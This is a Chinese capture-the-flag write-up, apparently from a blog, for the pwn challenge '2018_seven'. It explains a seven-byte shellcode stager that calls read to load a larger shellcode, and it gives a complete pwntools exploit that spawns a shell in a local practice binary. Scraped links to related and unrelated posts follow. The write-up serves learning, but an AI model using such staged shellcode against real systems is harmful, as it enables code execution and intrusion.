铁人三项(第五赛区)_2018_seven
铁人三项(第五赛区)_2018_seven
先来看看保护

保护全开,IDA分析

首先申请了mmap两个随机地址的空间,一个为rwx,一个为rw

读入的都shellcode长度小于等于7,且这7个字符不能重复。
然后把一个叫initial的东西复制到rwx_page上,再把我们写的shellcode拼接到其后面

可能有些不太准,等会儿gdb调试的时候再看看

gdb调试进入执行的shellcode,分析一波

可以看到这是刚刚的那个initial,执行完了是这样的

RSP指向一片空白的区域。看到RAX,rdi为0,这里我想到了shellcode注入。我们要尽力构造sys_read来注入全部的shellcode,但是我们输入shellcode有限制。
这里我在调试的时候突然发现有的时候RSP跟RIP很近。因为RSP对应rw_page而 RIP:对应rwx_page,
这两块地址是随机的,所以存在他们离的很近的可能性。下图是我截到的图。

执行完initial的情况

好了我们现在只要做2件事。
- 构造read(0,RSP,len) 这里len必须要大一点
push rsp
pop rsi
mov dx,si
syscall

- 注入我们的shellcode,覆写syscall之后的指令
'A'*0xb37 + asm(shellcraft.sh())
毕竟这也是随机的,多试几次就行了。
exp:
from pwn import *
#context.log_level = 'debug'
context(os='linux',arch='amd64',endian='little')
p = process('./2018_seven')
#gdb.attach(p,'b *0x555555554d0b')
shellcode = asm('push rsp;pop rsi;mov dx,si;syscall')
p.sendafter('shellcode:\n',shellcode)
sleep(1)
p.sendline('A'*0xb37+ asm(shellcraft.sh()))
p.interactive()
铁人三项(第五赛区)_2018_seven的更多相关文章
- [BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
铁人三项(第五赛区)_2018_rop[32位libc泄露] 题目附件 解题步骤: 例行检查,32位,开启了NX保护 试运行一下程序,一开始让我们输入,然后直接输出"Hellow,world ...
- 铁人三项(第五赛区)_2018_rop
拿到程序依旧老样子checksec和file一下 可以看到是32位的程序开启了nx保护,将程序放入ida进行查看 shift+f12 看到没有system和binsh等字样,考虑用泄露libc来做这道 ...
- 网站SEO之百度优化不得不知的铁人三项规则
奥运会有铁人三项,此运动更好的协调了运动员的综合素质水平,而百度优化排名中的“铁人三项”规则则是让网站的整体质量更好的满足市场用户体验.针对不同部分的操作,可以让网站在每个细节处都能凸显以人为本的服务 ...
- Phaser铁人三项
/** * 模拟铁人三项 */ public class PhaserTest { private static Random random = new Random(System.currentTi ...
- 2020信息安全铁人三项 pwn复盘
第一赛区 hacknote 程序存在格式化字符串漏洞和uaf,不多说了,很简单. 1 from pwn import * 2 3 p = process('./hacknote') 4 elf = E ...
- 2018铁人三项测评题 IOS99
下面这一部分是我从网上复制过来的, 2.IOS 解题链接:http://ctf4.shiyanbar.com/web/IOS/index.php 这题页面中提示系统升级到了IOS99,我们可以想到修改 ...
- 计算几何-LA2218-HPI-第一次卡精度-vijos1087-铁人三项
This article is made by Jason-Cow.Welcome to reprint.But please post the writer's address. http://ww ...
- 【BZOJ】【2765】【JLOI2010】铁人双项比赛
计算几何/半平面交 本来我是想去写POJ 1755的,然后想起了这道跟它很像的题,但应该是弱化版,所以就先写了这个…… 我们可以发现每个人的总用时,与k是呈一次函数关系的:$time_i=\frac{ ...
- 【APIO2018】铁人两项(圆方树,动态规划)
[APIO2018]铁人两项(圆方树,动态规划) 题面 UOJ 洛谷 BZOJ 题解 嘤嘤嘤,APIO的时候把一个组合数写成阶乘了,然后这题的70多分没拿到 首先一棵树是很容易做的,随意指定起点终点就 ...
随机推荐
- 2018-1-6-IDEA快速代码生成
2018-1-6-IDEA快速代码生成 Java 自动生成 Intellij IDEA 利用IDEA编辑器的Live Templates可以实现自定义方法.属性.注释等,下面是我自己的常用模板. 属性 ...
- 系统错误,MSVCP100D.dll找不到或丢失!
文章首发 | 公众号:lunvey 今日研究c++,找了一些示例程序,发现无法打开.弹出如下的报错提示: 作为新时代人类,遇见问题第一件事情就是问度娘.然而眼花缭乱的检索数据,大家众说纷纭,不知道如何 ...
- WPF 解决内置谷歌浏览器(Cef.ChromiumWebBrowser)在触摸屏无法进行滚动的问题
1.问题描述: 最近在WPF的项目中,需要在控件中嵌套可以浏览特定网页的内容,所以使用了 Cef.ChromiumWebBrowser来解决问题.在执行项目的过程中,主要碰到的问题有: 1.1 当把项 ...
- ============================================ 新的开始(前后端分离项目学习Vue+DRF)
- eclipse安装mybatis的插件
在help中打开Eclipse Marketplace... 输入mybatis后搜索,点击install即可 功能说明: 1.查找某一个方法 在dao接口中 按住Ctrl键,鼠标指到方法名称上 选择 ...
- ADT基础(二)—— Tree,Heap and Graph
ADT基础(二)-- Tree,Heap and Graph 1 Tree(二叉树) 先根遍历 (若二叉树为空,则退出,否则进行下面操作) 访问根节点 先根遍历左子树 先根遍历右子树 退出 访问顺序为 ...
- 第41天学习打卡(死锁 Lock synchronized与Lock的对比 线程协作 使用线程池)
死锁 多个线程各自占有一些共享资源,并且互相等待其他线程占有的资源才能运行,而导致两个或者多个线程都在等待对方释放资源,都停止执行的情形.某一个同步块同时拥有"两个以上对象的锁"时 ...
- 在Arch上使用Fcitx5
目录 卸载Fcitx4 安装Fcitx5 配置 修改环境变量 系统登陆后默认启动Fcitx5输入法 配置主题 最终使用效果 参考文档 我是一个Arch+KDE的用户,所以下面的方法可能不适合所有的Li ...
- ZooTeam 前端周刊|第 111期
转: ZooTeam 前端周刊|第 111期 ZooTeam 前端周刊|第 111期 浏览更多往期周刊,请访问: https://weekly.zoo.team 基于Vue的前端架构,我做了这15点 ...
- 剑指 Offer 60. n个骰子的点数 + 动态规划 + 空间优化
剑指 Offer 60. n个骰子的点数 Offer_60 题目详情 题解分析 package com.walegarrett.offer; /** * @Author WaleGarrett * @ ...